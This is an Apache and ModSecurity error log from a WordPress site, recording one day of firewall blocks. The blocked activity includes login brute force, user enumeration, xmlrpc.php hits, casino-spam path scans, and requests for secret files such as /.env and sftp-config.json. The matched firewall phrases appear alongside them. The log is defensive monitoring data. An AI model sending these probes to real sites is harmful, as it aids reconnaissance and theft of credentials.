[Mon Mar 16 07:02:35.619053 2026] [:error] [pid 12823:tid 12866] [client 203.188.168.24:54969] [client 203.188.168.24] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 203.188.168.24 on wp-login.php, counter = 16"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abc6ixlVKeelxvdJEr4yeQAAAgQ"]
[Mon Mar 16 08:19:14.936535 2026] [:error] [pid 12768:tid 12774] [client 103.65.237.124:61401] [client 103.65.237.124] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sftp-config.json"] [unique_id "abdMgovjhfol0SJym0_KlQAAAYE"]
[Mon Mar 16 08:19:15.200598 2026] [:error] [pid 52152:tid 52179] [client 103.65.237.124:61423] [client 103.65.237.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.vscode/sftp.json"] [unique_id "abdMg8A6rS_GLRd0NKWP6wAAARg"]
[Mon Mar 16 08:26:50.585282 2026] [:error] [pid 62429:tid 62502] [client 182.42.111.213:48101] [client 182.42.111.213] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "abdOSlewIPukhLCowEH6vAAAAIY"]
[Mon Mar 16 08:51:52.217907 2026] [:error] [pid 1411:tid 1434] [client 104.28.210.148:20933] [client 104.28.210.148] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "abdUKNrCV4sh-le3M-2uWAAAAVQ"]
[Mon Mar 16 08:51:52.652006 2026] [:error] [pid 12822:tid 12852] [client 104.28.210.148:65012] [client 104.28.210.148] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env"] [unique_id "abdUKIG9Ft4WPo7r7sRtRAAAAdE"]
[Mon Mar 16 10:06:29.415773 2026] [:error] [pid 62428:tid 62474] [client 193.70.44.235:42990] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "abdlparHSRXFZx1-aIH5uQAAAEU"]
[Mon Mar 16 10:06:31.261247 2026] [:error] [pid 1411:tid 1436] [client 193.70.44.235:40056] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "abdlp9rCV4sh-le3M-3ZVQAAAVY"]
[Mon Mar 16 10:06:33.170088 2026] [:error] [pid 12823:tid 12881] [client 193.70.44.235:40072] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "abdlqRlVKeelxvdJEr5aaAAAAhM"]
[Mon Mar 16 10:06:35.076695 2026] [:error] [pid 62429:tid 62503] [client 193.70.44.235:40086] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "abdlq1ewIPukhLCowEEkuwAAAIc"]
[Mon Mar 16 10:06:37.138413 2026] [:error] [pid 62429:tid 62510] [client 193.70.44.235:40090] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "abdlrVewIPukhLCowEEkwwAAAI4"]
[Mon Mar 16 10:06:39.053199 2026] [:error] [pid 1411:tid 1419] [client 193.70.44.235:40096] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "abdlr9rCV4sh-le3M-3ZbgAAAUY"]
[Mon Mar 16 10:06:40.982488 2026] [:error] [pid 62429:tid 62511] [client 193.70.44.235:40108] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "abdlsFewIPukhLCowEEkyAAAAI8"]
[Mon Mar 16 10:06:42.878500 2026] [:error] [pid 1411:tid 1431] [client 193.70.44.235:33002] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "abdlstrCV4sh-le3M-3ZgAAAAVE"]
[Mon Mar 16 10:06:44.800224 2026] [:error] [pid 62429:tid 62504] [client 193.70.44.235:33004] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "abdltFewIPukhLCowEEkzgAAAIg"]
[Mon Mar 16 10:06:46.716569 2026] [:error] [pid 62429:tid 62512] [client 193.70.44.235:33012] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "abdltlewIPukhLCowEEk1QAAAJA"]
[Mon Mar 16 10:06:48.632407 2026] [:error] [pid 62429:tid 62510] [client 193.70.44.235:33028] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "abdluFewIPukhLCowEEk2gAAAI4"]
[Mon Mar 16 10:06:50.542939 2026] [:error] [pid 62429:tid 62498] [client 193.70.44.235:33036] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "abdlulewIPukhLCowEEk4gAAAII"]
[Mon Mar 16 10:06:52.444687 2026] [:error] [pid 62429:tid 62503] [client 193.70.44.235:38772] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "abdlvFewIPukhLCowEEk6QAAAIc"]
[Mon Mar 16 10:06:54.343504 2026] [:error] [pid 62428:tid 62477] [client 193.70.44.235:38778] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "abdlvqrHSRXFZx1-aIH5wwAAAEg"]
[Mon Mar 16 10:06:56.255056 2026] [:error] [pid 12823:tid 12876] [client 193.70.44.235:38790] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "abdlwBlVKeelxvdJEr5aeQAAAg4"]
[Mon Mar 16 10:06:58.130926 2026] [:error] [pid 62429:tid 62511] [client 193.70.44.235:38792] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "abdlwlewIPukhLCowEEk9gAAAI8"]
[Mon Mar 16 10:07:00.186143 2026] [:error] [pid 62429:tid 62497] [client 193.70.44.235:38808] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "abdlxFewIPukhLCowEEk_QAAAIE"]
[Mon Mar 16 10:07:02.085293 2026] [:error] [pid 12768:tid 12776] [client 193.70.44.235:33114] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "abdlxovjhfol0SJym0_aWAAAAYM"]
[Mon Mar 16 10:07:03.969264 2026] [:error] [pid 62429:tid 62501] [client 193.70.44.235:33130] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "abdlx1ewIPukhLCowEElBAAAAIU"]
[Mon Mar 16 10:07:06.004931 2026] [:error] [pid 12822:tid 12855] [client 193.70.44.235:33134] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "abdlyoG9Ft4WPo7r7sR8CgAAAdQ"]
[Mon Mar 16 10:07:07.906152 2026] [:error] [pid 12823:tid 12863] [client 193.70.44.235:33150] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "abdlyxlVKeelxvdJEr5ajgAAAgE"]
[Mon Mar 16 10:07:09.792845 2026] [:error] [pid 12823:tid 12883] [client 193.70.44.235:33154] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "abdlzRlVKeelxvdJEr5amAAAAhU"]
[Mon Mar 16 10:07:11.847486 2026] [:error] [pid 1411:tid 1431] [client 193.70.44.235:53004] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "abdlz9rCV4sh-le3M-3ZpgAAAVE"]
[Mon Mar 16 10:07:13.747907 2026] [:error] [pid 12768:tid 12792] [client 193.70.44.235:53006] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "abdl0Yvjhfol0SJym0_aXgAAAZM"]
[Mon Mar 16 10:07:15.645990 2026] [:error] [pid 62427:tid 62459] [client 193.70.44.235:53016] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "abdl08UPP8fzo6XzJCUxXgAAABI"]
[Mon Mar 16 10:07:17.547960 2026] [:error] [pid 62529:tid 62538] [client 193.70.44.235:53024] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "abdl1T84-luOVYZKK0PEVwAAAME"]
[Mon Mar 16 10:07:19.578359 2026] [:error] [pid 12823:tid 12868] [client 193.70.44.235:53032] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "abdl1xlVKeelxvdJEr5aoAAAAgY"]
[Mon Mar 16 10:07:21.476169 2026] [:error] [pid 1411:tid 1431] [client 193.70.44.235:42534] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "abdl2drCV4sh-le3M-3Z8wAAAVE"]
[Mon Mar 16 10:07:23.351653 2026] [:error] [pid 12823:tid 12885] [client 193.70.44.235:42544] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "abdl2xlVKeelxvdJEr5aowAAAhc"]
[Mon Mar 16 10:07:25.393188 2026] [:error] [pid 1411:tid 1420] [client 193.70.44.235:42560] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/metal%20slot.aspx"] [unique_id "abdl3drCV4sh-le3M-3aAQAAAUc"]
[Mon Mar 16 10:24:00.454537 2026] [:error] [pid 62025:tid 62069] [client 43.159.145.149:40850] [client 43.159.145.149] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "abdpwOimBfLmKh7zLXP4rQAAAEo"]
[Mon Mar 16 11:05:13.307421 2026] [:error] [pid 9305:tid 9334] [client 173.239.236.158:55279] [client 173.239.236.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "abdzafRqyKiwGvzyRKyZ0wAAAZg"]
[Mon Mar 16 11:05:29.183838 2026] [:error] [pid 62510:tid 62524] [client 173.239.236.211:41259] [client 173.239.236.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "abdzeSE33_T9aKpoDdjqKAAAAQs"]
[Mon Mar 16 11:05:29.468528 2026] [:error] [pid 62510:tid 62522] [client 173.239.236.118:47861] [client 173.239.236.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "abdzeSE33_T9aKpoDdjqMQAAAQk"]
[Mon Mar 16 11:05:29.818145 2026] [:error] [pid 62510:tid 62530] [client 173.239.236.5:44951] [client 173.239.236.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "abdzeSE33_T9aKpoDdjqOAAAARE"]
[Mon Mar 16 11:05:30.196349 2026] [:error] [pid 62510:tid 62519] [client 173.239.236.110:25941] [client 173.239.236.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "abdzeiE33_T9aKpoDdjqQwAAAQY"]
[Mon Mar 16 11:05:30.593937 2026] [:error] [pid 62510:tid 62516] [client 173.239.236.3:46159] [client 173.239.236.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-json/oembed/1.0/embed"] [unique_id "abdzeiE33_T9aKpoDdjqTgAAAQM"]
[Mon Mar 16 11:05:30.920129 2026] [:error] [pid 62510:tid 62517] [client 173.239.236.36:48881] [client 173.239.236.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.36, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abdzeiE33_T9aKpoDdjqVAAAAQQ"]
[Mon Mar 16 11:05:35.668101 2026] [:error] [pid 62025:tid 62069] [client 173.239.236.153:54435] [client 173.239.236.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abdzf-imBfLmKh7zLXMC7gAAAEo"]
[Mon Mar 16 11:31:44.676893 2026] [:error] [pid 62026:tid 62109] [client 43.159.149.216:52944] [client 43.159.149.216] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "abd5oO8oW52PUIYI2O4T9gAAAJc"]
[Mon Mar 16 15:44:11.622576 2026] [:error] [pid 62510:tid 62537] [client 43.156.156.96:48910] [client 43.156.156.96] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "abe0yyE33_T9aKpoDdhQqQAAARg"]
[Mon Mar 16 19:24:15.840024 2026] [autoindex:error] [pid 39154:tid 39158] [client 74.7.227.139:55828] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/plugins/elementor/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://gigfragments.org/
[Mon Mar 16 19:24:24.472341 2026] [autoindex:error] [pid 39154:tid 39176] [client 74.7.227.139:55828] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/plugins/elementor-pro/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://gigfragments.org/
[Mon Mar 16 19:35:16.904361 2026] [:error] [pid 35929:tid 35938] [client 196.75.98.12:58190] [client 196.75.98.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 196.75.98.12, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abfq9NW47dGpmA63hwSHIAAAAMc"]
[Mon Mar 16 19:45:14.029366 2026] [:error] [pid 1871:tid 1891] [client 196.75.98.12:64035] [client 196.75.98.12] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "abftSjinTnZ8uiUPekE2UwAAAZI"]
[Mon Mar 16 19:46:08.458799 2026] [:error] [pid 35929:tid 35935] [client 196.75.116.74:64873] [client 196.75.116.74] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 196.75.116.74, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abftgNW47dGpmA63hwSJJwAAAMQ"]
[Mon Mar 16 19:47:18.409807 2026] [:error] [pid 1871:tid 1897] [client 196.75.116.74:49207] [client 196.75.116.74] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 196.75.116.74, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abftxjinTnZ8uiUPekE3OAAAAZg"]
[Mon Mar 16 19:48:10.970698 2026] [:error] [pid 1871:tid 1886] [client 196.75.116.74:59700] [client 196.75.116.74] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 196.75.116.74, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abft-jinTnZ8uiUPekE3qAAAAY0"]
